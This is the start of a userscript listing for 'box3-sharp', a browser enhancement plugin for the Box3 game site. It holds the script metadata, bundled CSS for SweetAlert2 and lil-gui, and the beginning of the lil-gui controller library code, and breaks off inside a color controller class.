box3-sharp

Box3增强插件

当前为 2022-12-23 提交的版本,查看 最新版本

  1. // ==UserScript==
  2. // @name box3-sharp
  3. // @namespace box3.codemao.cn
  4. // @version 1.0.0
  5. // @author AlanBestHacker
  6. // @description Box3增强插件
  7. // @license GPL-3.0
  8. // @icon https://box3.fun/favicon.ico
  9. // @match https://box3.codemao.cn/*
  10. // @match https://box3.fun/*
  11. // @grant GM_getValue
  12. // @grant GM_setValue
  13. // ==/UserScript==
  14.  
  15. (s=>{const a=document.createElement("style");a.dataset.source="vite-plugin-monkey",a.innerText=s,document.head.appendChild(a)})('@keyframes opacity-show{0%{opacity:0}to{opacity:1}}@keyframes opacity-hide{to{opacity:0}}.swal2-popup.swal2-toast{box-sizing:border-box;grid-column:1/4!important;grid-row:1/4!important;grid-template-columns:min-content auto min-content;padding:1em;overflow-y:hidden;background:rgba(54,70,93,.99);box-shadow:0 0 1px #00000013,0 1px 2px #00000013,1px 2px 4px #00000013,1px 3px 8px #00000013,2px 4px 16px #00000013;pointer-events:all}.swal2-popup.swal2-toast>*{grid-column:2}.swal2-popup.swal2-toast .swal2-title{margin:.5em 1em;padding:0;font-size:1em;text-align:initial}.swal2-popup.swal2-toast .swal2-loading{justify-content:center}.swal2-popup.swal2-toast .swal2-input{height:2em;margin:.5em;font-size:1em}.swal2-popup.swal2-toast .swal2-validation-message{font-size:1em}.swal2-popup.swal2-toast .swal2-footer{margin:.5em 0 0;padding:.5em 0 0;font-size:.8em}.swal2-popup.swal2-toast .swal2-close{grid-column:3/3;grid-row:1/99;align-self:center;width:.8em;height:.8em;margin:0;font-size:2em}.swal2-popup.swal2-toast .swal2-html-container{margin:.5em 1em;padding:0;overflow:initial;font-size:1em;text-align:initial}.swal2-popup.swal2-toast .swal2-html-container:empty{padding:0}.swal2-popup.swal2-toast .swal2-loader{grid-column:1;grid-row:1/99;align-self:center;width:2em;height:2em;margin:.25em}.swal2-popup.swal2-toast .swal2-icon{grid-column:1;grid-row:1/99;align-self:center;width:2em;min-width:2em;height:2em;margin:0 .5em 0 0}.swal2-popup.swal2-toast .swal2-icon .swal2-icon-content{display:flex;align-items:center;font-size:1.8em;font-weight:700}.swal2-popup.swal2-toast .swal2-icon.swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line]{top:.875em;width:1.375em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left]{left:.3125em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right]{right:.3125em}.swal2-popup.swal2-toast .swal2-actions{justify-content:flex-start;height:auto;margin:.5em 0 0;padding:0 .5em}.swal2-popup.swal2-toast .swal2-styled{margin:.25em .5em;padding:.4em .6em;font-size:1em}.swal2-popup.swal2-toast .swal2-success{border-color:#a5dc86}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line]{position:absolute;width:1.6em;height:3em;transform:rotate(45deg);border-radius:50%}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=left]{top:-.8em;left:-.5em;transform:rotate(-45deg);transform-origin:2em 2em;border-radius:4em 0 0 4em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=right]{top:-.25em;left:.9375em;transform-origin:0 1.5em;border-radius:0 4em 4em 0}.swal2-popup.swal2-toast .swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-success .swal2-success-fix{top:0;left:.4375em;width:.4375em;height:2.6875em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line]{height:.3125em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=tip]{top:1.125em;left:.1875em;width:.75em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=long]{top:.9375em;right:.1875em;width:1.375em}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-tip{animation:swal2-toast-animate-success-line-tip .75s}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-long{animation:swal2-toast-animate-success-line-long .75s}.swal2-popup.swal2-toast.swal2-show{animation:swal2-toast-show .5s}.swal2-popup.swal2-toast.swal2-hide{animation:swal2-toast-hide .1s forwards}.swal2-container{display:grid;position:fixed;z-index:1060;inset:0;box-sizing:border-box;grid-template-areas:"top-start top top-end" "center-start center center-end" "bottom-start bottom-center bottom-end";grid-template-rows:minmax(min-content,auto) minmax(min-content,auto) minmax(min-content,auto);height:100%;padding:.625em;overflow-x:hidden;transition:background-color .1s;-webkit-overflow-scrolling:touch}.swal2-container.swal2-backdrop-show,.swal2-container.swal2-noanimation{background:rgba(54,70,93,.99)}.swal2-container.swal2-backdrop-hide{background:transparent!important}.swal2-container.swal2-top-start,.swal2-container.swal2-center-start,.swal2-container.swal2-bottom-start{grid-template-columns:minmax(0,1fr) auto auto}.swal2-container.swal2-top,.swal2-container.swal2-center,.swal2-container.swal2-bottom{grid-template-columns:auto minmax(0,1fr) auto}.swal2-container.swal2-top-end,.swal2-container.swal2-center-end,.swal2-container.swal2-bottom-end{grid-template-columns:auto auto minmax(0,1fr)}.swal2-container.swal2-top-start>.swal2-popup{align-self:start}.swal2-container.swal2-top>.swal2-popup{grid-column:2;align-self:start;justify-self:center}.swal2-container.swal2-top-end>.swal2-popup,.swal2-container.swal2-top-right>.swal2-popup{grid-column:3;align-self:start;justify-self:end}.swal2-container.swal2-center-start>.swal2-popup,.swal2-container.swal2-center-left>.swal2-popup{grid-row:2;align-self:center}.swal2-container.swal2-center>.swal2-popup{grid-column:2;grid-row:2;align-self:center;justify-self:center}.swal2-container.swal2-center-end>.swal2-popup,.swal2-container.swal2-center-right>.swal2-popup{grid-column:3;grid-row:2;align-self:center;justify-self:end}.swal2-container.swal2-bottom-start>.swal2-popup,.swal2-container.swal2-bottom-left>.swal2-popup{grid-column:1;grid-row:3;align-self:end}.swal2-container.swal2-bottom>.swal2-popup{grid-column:2;grid-row:3;justify-self:center;align-self:end}.swal2-container.swal2-bottom-end>.swal2-popup,.swal2-container.swal2-bottom-right>.swal2-popup{grid-column:3;grid-row:3;align-self:end;justify-self:end}.swal2-container.swal2-grow-row>.swal2-popup,.swal2-container.swal2-grow-fullscreen>.swal2-popup{grid-column:1/4;width:100%}.swal2-container.swal2-grow-column>.swal2-popup,.swal2-container.swal2-grow-fullscreen>.swal2-popup{grid-row:1/4;align-self:stretch}.swal2-container.swal2-no-transition{transition:none!important}.swal2-popup{display:none;position:relative;box-sizing:border-box;grid-template-columns:minmax(0,100%);width:32em;max-width:100%;padding:0 0 1.25em;border:none;border-radius:5px;background:transparent;color:#545454;font-family:inherit;font-size:1rem}.swal2-popup:focus{outline:none}.swal2-popup.swal2-loading{overflow-y:hidden}.swal2-title{position:relative;max-width:100%;margin:0;padding:.8em 1em 0;color:#fff;font-size:1.875em;font-weight:600;text-align:center;text-transform:none;word-wrap:break-word}.swal2-actions{display:flex;z-index:1;box-sizing:border-box;flex-wrap:wrap;align-items:center;justify-content:center;width:auto;margin:1.25em auto 0;padding:0}.swal2-actions:not(.swal2-loading) .swal2-styled[disabled]{opacity:.4}.swal2-actions:not(.swal2-loading) .swal2-styled:hover{background-image:linear-gradient(rgba(0,0,0,.1),rgba(0,0,0,.1))}.swal2-actions:not(.swal2-loading) .swal2-styled:active{background-image:linear-gradient(rgba(0,0,0,.2),rgba(0,0,0,.2))}.swal2-loader{display:none;align-items:center;justify-content:center;width:2.2em;height:2.2em;margin:0 1.875em;animation:swal2-rotate-loading 1.5s linear 0s infinite normal;border-width:.25em;border-style:solid;border-radius:100%;border-color:#2778c4 transparent #2778c4 transparent}.swal2-styled{margin:.3125em;padding:.625em 1.1em;transition:box-shadow .1s;box-shadow:0 0 0 3px transparent;font-weight:500}.swal2-styled:not([disabled]){cursor:pointer}.swal2-styled.swal2-confirm{border:0;border-radius:.25em;background:initial;background-color:#7066e0;color:#fff;font-size:1em}.swal2-styled.swal2-confirm:focus{box-shadow:0 0 0 3px #7066e080}.swal2-styled.swal2-deny{border:0;border-radius:.25em;background:initial;background-color:#dc3741;color:#fff;font-size:1em}.swal2-styled.swal2-deny:focus{box-shadow:0 0 0 3px #dc374180}.swal2-styled.swal2-cancel{border:0;border-radius:.25em;background:initial;background-color:#6e7881;color:#fff;font-size:1em}.swal2-styled.swal2-cancel:focus{box-shadow:0 0 0 3px #6e788180}.swal2-styled.swal2-default-outline:focus{box-shadow:0 0 0 1px #36465dfc,0 0 0 3px #7a91b2fc}.swal2-styled:focus{outline:none}.swal2-styled::-moz-focus-inner{border:0}.swal2-footer{justify-content:center;margin:1em 0 0;padding:1em 1em 0;border-top:1px solid rgba(255,255,255,.2);color:#fff;font-size:1em}.swal2-timer-progress-bar-container{position:absolute;right:0;bottom:0;left:0;grid-column:auto!important;overflow:hidden;border-bottom-right-radius:5px;border-bottom-left-radius:5px}.swal2-timer-progress-bar{width:100%;height:.25em;background:rgba(0,0,0,.2)}.swal2-image{max-width:100%;margin:2em auto 1em}.swal2-close{position:fixed;z-index:2;align-items:center;justify-content:center;width:1.2em;height:1.2em;margin-top:0;margin-right:0;margin-bottom:-1.2em;padding:0;overflow:hidden;transition:color .1s,box-shadow .1s;border:none;border-radius:5px;background:transparent;color:#fff;font-family:serif;font-family:monospace;font-size:3em;cursor:pointer;justify-self:end}.swal2-close:hover{transform:none;background:transparent;color:#f27474}.swal2-close:focus{outline:none;box-shadow:inset 0 0 0 3px #6496c880}.swal2-close::-moz-focus-inner{border:0}.swal2-html-container{z-index:1;justify-content:center;margin:1em 1.6em .3em;padding:0;overflow:auto;color:#fff;font-size:1.125em;font-weight:400;line-height:normal;text-align:center;word-wrap:break-word;word-break:break-word}.swal2-input,.swal2-file,.swal2-textarea,.swal2-select,.swal2-radio,.swal2-checkbox{margin:1em 2em 3px}.swal2-input,.swal2-file,.swal2-textarea{box-sizing:border-box;width:auto;transition:border-color .1s,box-shadow .1s;border:1px solid #d9d9d9;border-radius:.1875em;background:rgba(73,94,125,.99);box-shadow:inset 0 1px 1px #0000000f,0 0 0 3px transparent;color:#fff;font-size:1.125em}.swal2-input.swal2-inputerror,.swal2-file.swal2-inputerror,.swal2-textarea.swal2-inputerror{border-color:#f27474!important;box-shadow:0 0 2px #f27474!important}.swal2-input:focus,.swal2-file:focus,.swal2-textarea:focus{border:1px solid #b4dbed;outline:none;box-shadow:inset 0 1px 1px #0000000f,0 0 0 3px #6496c880}.swal2-input::placeholder,.swal2-file::placeholder,.swal2-textarea::placeholder{color:#ccc}.swal2-range{margin:1em 2em 3px;background:transparent}.swal2-range input{width:80%}.swal2-range output{width:20%;color:#fff;font-weight:600;text-align:center}.swal2-range input,.swal2-range output{height:2.625em;padding:0;font-size:1.125em;line-height:2.625em}.swal2-input{height:2.625em;padding:0 .75em}.swal2-file{width:75%;margin-right:auto;margin-left:auto;background:rgba(73,94,125,.99);font-size:1.125em}.swal2-textarea{height:6.75em;padding:.75em}.swal2-select{min-width:50%;max-width:100%;padding:.375em .625em;background:rgba(73,94,125,.99);color:#fff;font-size:1.125em}.swal2-radio,.swal2-checkbox{align-items:center;justify-content:center;background:transparent;color:#fff}.swal2-radio label,.swal2-checkbox label{margin:0 .6em;font-size:1.125em}.swal2-radio input,.swal2-checkbox input{flex-shrink:0;margin:0 .4em}.swal2-input-label{display:flex;justify-content:center;margin:1em auto 0}.swal2-validation-message{align-items:center;justify-content:center;margin:1em 0 0;padding:.625em;overflow:hidden;background:transparent;color:#fff;font-size:1em;font-weight:300}.swal2-validation-message:before{content:"!";display:inline-block;width:1.5em;min-width:1.5em;height:1.5em;margin:0 .625em;border-radius:50%;background-color:#f27474;color:#fff;font-weight:600;line-height:1.5em;text-align:center}.swal2-icon{position:relative;box-sizing:content-box;justify-content:center;width:5em;height:5em;margin:2.5em auto .6em;border:.25em solid transparent;border-radius:50%;border-color:#000;font-family:inherit;line-height:5em;cursor:default;user-select:none}.swal2-icon .swal2-icon-content{display:flex;align-items:center;font-size:3.75em}.swal2-icon.swal2-error{border-color:#f27474;color:#f27474}.swal2-icon.swal2-error .swal2-x-mark{position:relative;flex-grow:1}.swal2-icon.swal2-error [class^=swal2-x-mark-line]{display:block;position:absolute;top:2.3125em;width:2.9375em;height:.3125em;border-radius:.125em;background-color:#f27474}.swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left]{left:1.0625em;transform:rotate(45deg)}.swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right]{right:1em;transform:rotate(-45deg)}.swal2-icon.swal2-error.swal2-icon-show{animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-error.swal2-icon-show .swal2-x-mark{animation:swal2-animate-error-x-mark .5s}.swal2-icon.swal2-warning{border-color:#facea8;color:#f8bb86}.swal2-icon.swal2-warning.swal2-icon-show{animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-warning.swal2-icon-show .swal2-icon-content{animation:swal2-animate-i-mark .5s}.swal2-icon.swal2-info{border-color:#9de0f6;color:#3fc3ee}.swal2-icon.swal2-info.swal2-icon-show{animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-info.swal2-icon-show .swal2-icon-content{animation:swal2-animate-i-mark .8s}.swal2-icon.swal2-question{border-color:#c9dae1;color:#87adbd}.swal2-icon.swal2-question.swal2-icon-show{animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-question.swal2-icon-show .swal2-icon-content{animation:swal2-animate-question-mark .8s}.swal2-icon.swal2-success{border-color:#a5dc86;color:#a5dc86}.swal2-icon.swal2-success [class^=swal2-success-circular-line]{position:absolute;width:3.75em;height:7.5em;transform:rotate(45deg);border-radius:50%}.swal2-icon.swal2-success [class^=swal2-success-circular-line][class$=left]{top:-.4375em;left:-2.0635em;transform:rotate(-45deg);transform-origin:3.75em 3.75em;border-radius:7.5em 0 0 7.5em}.swal2-icon.swal2-success [class^=swal2-success-circular-line][class$=right]{top:-.6875em;left:1.875em;transform:rotate(-45deg);transform-origin:0 3.75em;border-radius:0 7.5em 7.5em 0}.swal2-icon.swal2-success .swal2-success-ring{position:absolute;z-index:2;top:-.25em;left:-.25em;box-sizing:content-box;width:100%;height:100%;border:.25em solid rgba(165,220,134,.3);border-radius:50%}.swal2-icon.swal2-success .swal2-success-fix{position:absolute;z-index:1;top:.5em;left:1.625em;width:.4375em;height:5.625em;transform:rotate(-45deg)}.swal2-icon.swal2-success [class^=swal2-success-line]{display:block;position:absolute;z-index:2;height:.3125em;border-radius:.125em;background-color:#a5dc86}.swal2-icon.swal2-success [class^=swal2-success-line][class$=tip]{top:2.875em;left:.8125em;width:1.5625em;transform:rotate(45deg)}.swal2-icon.swal2-success [class^=swal2-success-line][class$=long]{top:2.375em;right:.5em;width:2.9375em;transform:rotate(-45deg)}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-line-tip{animation:swal2-animate-success-line-tip .75s}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-line-long{animation:swal2-animate-success-line-long .75s}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-circular-line-right{animation:swal2-rotate-success-circular-line 4.25s ease-in}.swal2-progress-steps{flex-wrap:wrap;align-items:center;max-width:100%;margin:1.25em auto;padding:0;background:transparent;font-weight:600}.swal2-progress-steps li{display:inline-block;position:relative}.swal2-progress-steps .swal2-progress-step{z-index:20;flex-shrink:0;width:2em;height:2em;border-radius:2em;background:#2778c4;color:#fff;line-height:2em;text-align:center}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step{background:#2778c4}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step{background:rgba(122,145,178,.99);color:#fff}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step-line{background:rgba(122,145,178,.99)}.swal2-progress-steps .swal2-progress-step-line{z-index:10;flex-shrink:0;width:2.5em;height:.4em;margin:0 -1px;background:#2778c4}[class^=swal2]{-webkit-tap-highlight-color:transparent}.swal2-show{animation:opacity-show .3s}.swal2-hide{animation:opacity-hide .1s}.swal2-noanimation{transition:none}.swal2-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}.swal2-rtl .swal2-close{margin-right:initial;margin-left:0}.swal2-rtl .swal2-timer-progress-bar{right:0;left:auto}@keyframes swal2-toast-show{0%{transform:translateY(-.625em) rotate(2deg)}33%{transform:translateY(0) rotate(-2deg)}66%{transform:translateY(.3125em) rotate(2deg)}to{transform:translateY(0) rotate(0)}}@keyframes swal2-toast-hide{to{transform:rotate(1deg);opacity:0}}@keyframes swal2-toast-animate-success-line-tip{0%{top:.5625em;left:.0625em;width:0}54%{top:.125em;left:.125em;width:0}70%{top:.625em;left:-.25em;width:1.625em}84%{top:1.0625em;left:.75em;width:.5em}to{top:1.125em;left:.1875em;width:.75em}}@keyframes swal2-toast-animate-success-line-long{0%{top:1.625em;right:1.375em;width:0}65%{top:1.25em;right:.9375em;width:0}84%{top:.9375em;right:0;width:1.125em}to{top:.9375em;right:.1875em;width:1.375em}}@keyframes swal2-show{0%{transform:scale(.7)}45%{transform:scale(1.05)}80%{transform:scale(.95)}to{transform:scale(1)}}@keyframes swal2-hide{0%{transform:scale(1);opacity:1}to{transform:scale(.5);opacity:0}}@keyframes swal2-animate-success-line-tip{0%{top:1.1875em;left:.0625em;width:0}54%{top:1.0625em;left:.125em;width:0}70%{top:2.1875em;left:-.375em;width:3.125em}84%{top:3em;left:1.3125em;width:1.0625em}to{top:2.8125em;left:.8125em;width:1.5625em}}@keyframes swal2-animate-success-line-long{0%{top:3.375em;right:2.875em;width:0}65%{top:3.375em;right:2.875em;width:0}84%{top:2.1875em;right:0;width:3.4375em}to{top:2.375em;right:.5em;width:2.9375em}}@keyframes swal2-rotate-success-circular-line{0%{transform:rotate(-45deg)}5%{transform:rotate(-45deg)}12%{transform:rotate(-405deg)}to{transform:rotate(-405deg)}}@keyframes swal2-animate-error-x-mark{0%{margin-top:1.625em;transform:scale(.4);opacity:0}50%{margin-top:1.625em;transform:scale(.4);opacity:0}80%{margin-top:-.375em;transform:scale(1.15)}to{margin-top:0;transform:scale(1);opacity:1}}@keyframes swal2-animate-error-icon{0%{transform:rotateX(100deg);opacity:0}to{transform:rotateX(0);opacity:1}}@keyframes swal2-rotate-loading{0%{transform:rotate(0)}to{transform:rotate(360deg)}}@keyframes swal2-animate-question-mark{0%{transform:rotateY(-360deg)}to{transform:rotateY(0)}}@keyframes swal2-animate-i-mark{0%{transform:rotate(45deg);opacity:0}25%{transform:rotate(-25deg);opacity:.4}50%{transform:rotate(15deg);opacity:.8}75%{transform:rotate(-5deg);opacity:1}to{transform:rotateX(0);opacity:1}}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow:hidden}body.swal2-height-auto{height:auto!important}body.swal2-no-backdrop .swal2-container{background-color:transparent!important;pointer-events:none}body.swal2-no-backdrop .swal2-container .swal2-popup{pointer-events:all}body.swal2-no-backdrop .swal2-container .swal2-modal{box-shadow:0 0 10px #36465dfc}@media print{body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow-y:scroll!important}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown)>[aria-hidden=true]{display:none}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown) .swal2-container{position:static!important}}body.swal2-toast-shown .swal2-container{box-sizing:border-box;width:360px;max-width:100%;background-color:transparent;pointer-events:none}body.swal2-toast-shown .swal2-container.swal2-top{inset:0 auto auto 50%;transform:translate(-50%)}body.swal2-toast-shown .swal2-container.swal2-top-end,body.swal2-toast-shown .swal2-container.swal2-top-right{inset:0 0 auto auto}body.swal2-toast-shown .swal2-container.swal2-top-start,body.swal2-toast-shown .swal2-container.swal2-top-left{inset:0 auto auto 0}body.swal2-toast-shown .swal2-container.swal2-center-start,body.swal2-toast-shown .swal2-container.swal2-center-left{inset:50% auto auto 0;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-center{inset:50% auto auto 50%;transform:translate(-50%,-50%)}body.swal2-toast-shown .swal2-container.swal2-center-end,body.swal2-toast-shown .swal2-container.swal2-center-right{inset:50% 0 auto auto;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-start,body.swal2-toast-shown .swal2-container.swal2-bottom-left{inset:auto auto 0 0}body.swal2-toast-shown .swal2-container.swal2-bottom{inset:auto auto 0 50%;transform:translate(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-end,body.swal2-toast-shown .swal2-container.swal2-bottom-right{inset:auto 0 0 auto}.lil-gui{--background-color: transparent;--text-color: rgba(255, 255, 255, .8);--title-background-color: rgba(0, 0, 0, .3);--title-text-color: rgba(255, 255, 255, .9);--widget-color: rgba(100, 100, 100, .1);--hover-color: #4f4f4f80;--focus-color: #88888880;--number-color: var(--primary-color);--string-color: #ffab00;--font-size: 12px;--input-font-size: 10px;--font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Arial, sans-serif;--font-family-mono: Menlo, Monaco, Consolas, "Droid Sans Mono", monospace;--padding: 4px;--spacing: 4px;--widget-height: 20px;--name-width: 45%;--slider-knob-width: 2px;--slider-input-width: 27%;--color-input-width: 27%;--slider-input-min-width: 45px;--color-input-min-width: 45px;--folder-indent: 5px;--widget-padding: 0 0 0 3px;--widget-border-radius: var(--border-radius);--checkbox-size: calc(.75 * var(--widget-height));--scrollbar-width: 2px;max-height:70vh}.lil-gui .name{user-select:none!important}.lil-gui *{transition:background-color .25s}.lil-gui.root{transform:translateY(-25px);border:1px solid transparent;background:rgba(0,0,0,.8);backdrop-filter:blur(var(--blur));transition:border-color .5s,box-shadow .5s;box-shadow:0 0 0 var(--primary-color);border-radius:var(--border-radius)}.lil-gui input[type=checkbox]:checked:before{color:var(--primary-color)}.lil-gui.root:hover{border-color:var(--primary-color);box-shadow:0 0 5px var(--primary-color)}option{background:rgba(0,0,0,.5);color:#ffffff80;border-left:1px solid transparent}option:hover{background:rgba(0,0,0,.5);color:#fffc;border-left:1px solid #2196f3}.container-window{position:fixed;left:50px;top:50px;min-width:300px;z-index:999}.container-window .handle{cursor:move;position:relative;margin-left:auto;width:calc(100% - 80px);border-left:1px solid rgba(255,255,255,.8);opacity:0;height:25px;background-color:#0003;color:#fffc;display:flex;justify-content:center;align-items:center;z-index:999;transition:opacity .25s;font-size:x-small}.container-window .handle:hover{opacity:1}._2x0RglLpha6lx9vdRMkP5r{user-select:text!important}.swal2-popup{font-size:unset!important}.swal2-backdrop-show{backdrop-filter:blur(5px);background:rgba(0,0,0,.5)!important}canvas.magic-cursor-canvas{height:100vh;width:100vw;position:fixed;top:0;left:0;z-index:9999999999;opacity:.5;pointer-events:none;transition:opacity 1s}');
  16.  
  17. (function() {
  18. "use strict";
  19. const __variableDynamicImportRuntimeHelper = (glob, path) => {
  20. const v = glob[path];
  21. if (v) {
  22. return typeof v === "function" ? v() : Promise.resolve(v);
  23. }
  24. return new Promise((_, reject) => {
  25. (typeof queueMicrotask === "function" ? queueMicrotask : setTimeout)(reject.bind(null, new Error("Unknown variable dynamic import: " + path)));
  26. });
  27. };
  28. class Controller {
  29. constructor(parent, object, property, className, widgetTag = "div") {
  30. this.parent = parent;
  31. this.object = object;
  32. this.property = property;
  33. this._disabled = false;
  34. this._hidden = false;
  35. this.initialValue = this.getValue();
  36. this.domElement = document.createElement("div");
  37. this.domElement.classList.add("controller");
  38. this.domElement.classList.add(className);
  39. this.$name = document.createElement("div");
  40. this.$name.classList.add("name");
  41. Controller.nextNameID = Controller.nextNameID || 0;
  42. this.$name.id = `lil-gui-name-${++Controller.nextNameID}`;
  43. this.$widget = document.createElement(widgetTag);
  44. this.$widget.classList.add("widget");
  45. this.$disable = this.$widget;
  46. this.domElement.appendChild(this.$name);
  47. this.domElement.appendChild(this.$widget);
  48. this.parent.children.push(this);
  49. this.parent.controllers.push(this);
  50. this.parent.$children.appendChild(this.domElement);
  51. this._listenCallback = this._listenCallback.bind(this);
  52. this.name(property);
  53. }
  54. name(name) {
  55. this._name = name;
  56. this.$name.innerHTML = name;
  57. return this;
  58. }
  59. onChange(callback) {
  60. this._onChange = callback;
  61. return this;
  62. }
  63. _callOnChange() {
  64. this.parent._callOnChange(this);
  65. if (this._onChange !== void 0) {
  66. this._onChange.call(this, this.getValue());
  67. }
  68. this._changed = true;
  69. }
  70. onFinishChange(callback) {
  71. this._onFinishChange = callback;
  72. return this;
  73. }
  74. _callOnFinishChange() {
  75. if (this._changed) {
  76. this.parent._callOnFinishChange(this);
  77. if (this._onFinishChange !== void 0) {
  78. this._onFinishChange.call(this, this.getValue());
  79. }
  80. }
  81. this._changed = false;
  82. }
  83. reset() {
  84. this.setValue(this.initialValue);
  85. this._callOnFinishChange();
  86. return this;
  87. }
  88. enable(enabled = true) {
  89. return this.disable(!enabled);
  90. }
  91. disable(disabled = true) {
  92. if (disabled === this._disabled)
  93. return this;
  94. this._disabled = disabled;
  95. this.domElement.classList.toggle("disabled", disabled);
  96. this.$disable.toggleAttribute("disabled", disabled);
  97. return this;
  98. }
  99. show(show = true) {
  100. this._hidden = !show;
  101. this.domElement.style.display = this._hidden ? "none" : "";
  102. return this;
  103. }
  104. hide() {
  105. return this.show(false);
  106. }
  107. options(options) {
  108. const controller = this.parent.add(this.object, this.property, options);
  109. controller.name(this._name);
  110. this.destroy();
  111. return controller;
  112. }
  113. min(min) {
  114. return this;
  115. }
  116. max(max) {
  117. return this;
  118. }
  119. step(step) {
  120. return this;
  121. }
  122. decimals(decimals) {
  123. return this;
  124. }
  125. listen(listen = true) {
  126. this._listening = listen;
  127. if (this._listenCallbackID !== void 0) {
  128. cancelAnimationFrame(this._listenCallbackID);
  129. this._listenCallbackID = void 0;
  130. }
  131. if (this._listening) {
  132. this._listenCallback();
  133. }
  134. return this;
  135. }
  136. _listenCallback() {
  137. this._listenCallbackID = requestAnimationFrame(this._listenCallback);
  138. const curValue = this.save();
  139. if (curValue !== this._listenPrevValue) {
  140. this.updateDisplay();
  141. }
  142. this._listenPrevValue = curValue;
  143. }
  144. getValue() {
  145. return this.object[this.property];
  146. }
  147. setValue(value) {
  148. this.object[this.property] = value;
  149. this._callOnChange();
  150. this.updateDisplay();
  151. return this;
  152. }
  153. updateDisplay() {
  154. return this;
  155. }
  156. load(value) {
  157. this.setValue(value);
  158. this._callOnFinishChange();
  159. return this;
  160. }
  161. save() {
  162. return this.getValue();
  163. }
  164. destroy() {
  165. this.listen(false);
  166. this.parent.children.splice(this.parent.children.indexOf(this), 1);
  167. this.parent.controllers.splice(this.parent.controllers.indexOf(this), 1);
  168. this.parent.$children.removeChild(this.domElement);
  169. }
  170. }
  171. class BooleanController extends Controller {
  172. constructor(parent, object, property) {
  173. super(parent, object, property, "boolean", "label");
  174. this.$input = document.createElement("input");
  175. this.$input.setAttribute("type", "checkbox");
  176. this.$input.setAttribute("aria-labelledby", this.$name.id);
  177. this.$widget.appendChild(this.$input);
  178. this.$input.addEventListener("change", () => {
  179. this.setValue(this.$input.checked);
  180. this._callOnFinishChange();
  181. });
  182. this.$disable = this.$input;
  183. this.updateDisplay();
  184. }
  185. updateDisplay() {
  186. this.$input.checked = this.getValue();
  187. return this;
  188. }
  189. }
  190. function normalizeColorString(string) {
  191. let match, result;
  192. if (match = string.match(/(#|0x)?([a-f0-9]{6})/i)) {
  193. result = match[2];
  194. } else if (match = string.match(/rgb\(\s*(\d*)\s*,\s*(\d*)\s*,\s*(\d*)\s*\)/)) {
  195. result = parseInt(match[1]).toString(16).padStart(2, 0) + parseInt(match[2]).toString(16).padStart(2, 0) + parseInt(match[3]).toString(16).padStart(2, 0);
  196. } else if (match = string.match(/^#?([a-f0-9])([a-f0-9])([a-f0-9])$/i)) {
  197. result = match[1] + match[1] + match[2] + match[2] + match[3] + match[3];
  198. }
  199. if (result) {
  200. return "#" + result;
  201. }
  202. return false;
  203. }
  204. const STRING = {
  205. isPrimitive: true,
  206. match: (v) => typeof v === "string",
  207. fromHexString: normalizeColorString,
  208. toHexString: normalizeColorString
  209. };
  210. const INT = {
  211. isPrimitive: true,
  212. match: (v) => typeof v === "number",
  213. fromHexString: (string) => parseInt(string.substring(1), 16),
  214. toHexString: (value) => "#" + value.toString(16).padStart(6, 0)
  215. };
  216. const ARRAY = {
  217. isPrimitive: false,
  218. match: Array.isArray,
  219. fromHexString(string, target, rgbScale = 1) {
  220. const int = INT.fromHexString(string);
  221. target[0] = (int >> 16 & 255) / 255 * rgbScale;
  222. target[1] = (int >> 8 & 255) / 255 * rgbScale;
  223. target[2] = (int & 255) / 255 * rgbScale;
  224. },
  225. toHexString([r, g, b], rgbScale = 1) {
  226. rgbScale = 255 / rgbScale;
  227. const int = r * rgbScale << 16 ^ g * rgbScale << 8 ^ b * rgbScale << 0;
  228. return INT.toHexString(int);
  229. }
  230. };
  231. const OBJECT = {
  232. isPrimitive: false,
  233. match: (v) => Object(v) === v,
  234. fromHexString(string, target, rgbScale = 1) {
  235. const int = INT.fromHexString(string);
  236. target.r = (int >> 16 & 255) / 255 * rgbScale;
  237. target.g = (int >> 8 & 255) / 255 * rgbScale;
  238. target.b = (int & 255) / 255 * rgbScale;
  239. },
  240. toHexString({ r, g, b }, rgbScale = 1) {
  241. rgbScale = 255 / rgbScale;
  242. const int = r * rgbScale << 16 ^ g * rgbScale << 8 ^ b * rgbScale << 0;
  243. return INT.toHexString(int);
  244. }
  245. };
  246. const FORMATS = [STRING, INT, ARRAY, OBJECT];
  247. function getColorFormat(value) {
  248. return FORMATS.find((format) => format.match(value));
  249. }
  250. class ColorController extends Controller {
  251. constructor(parent, object, property, rgbScale) {
  252. super(parent, object, property, "color");
  253. this.$input = document.createElement("input");
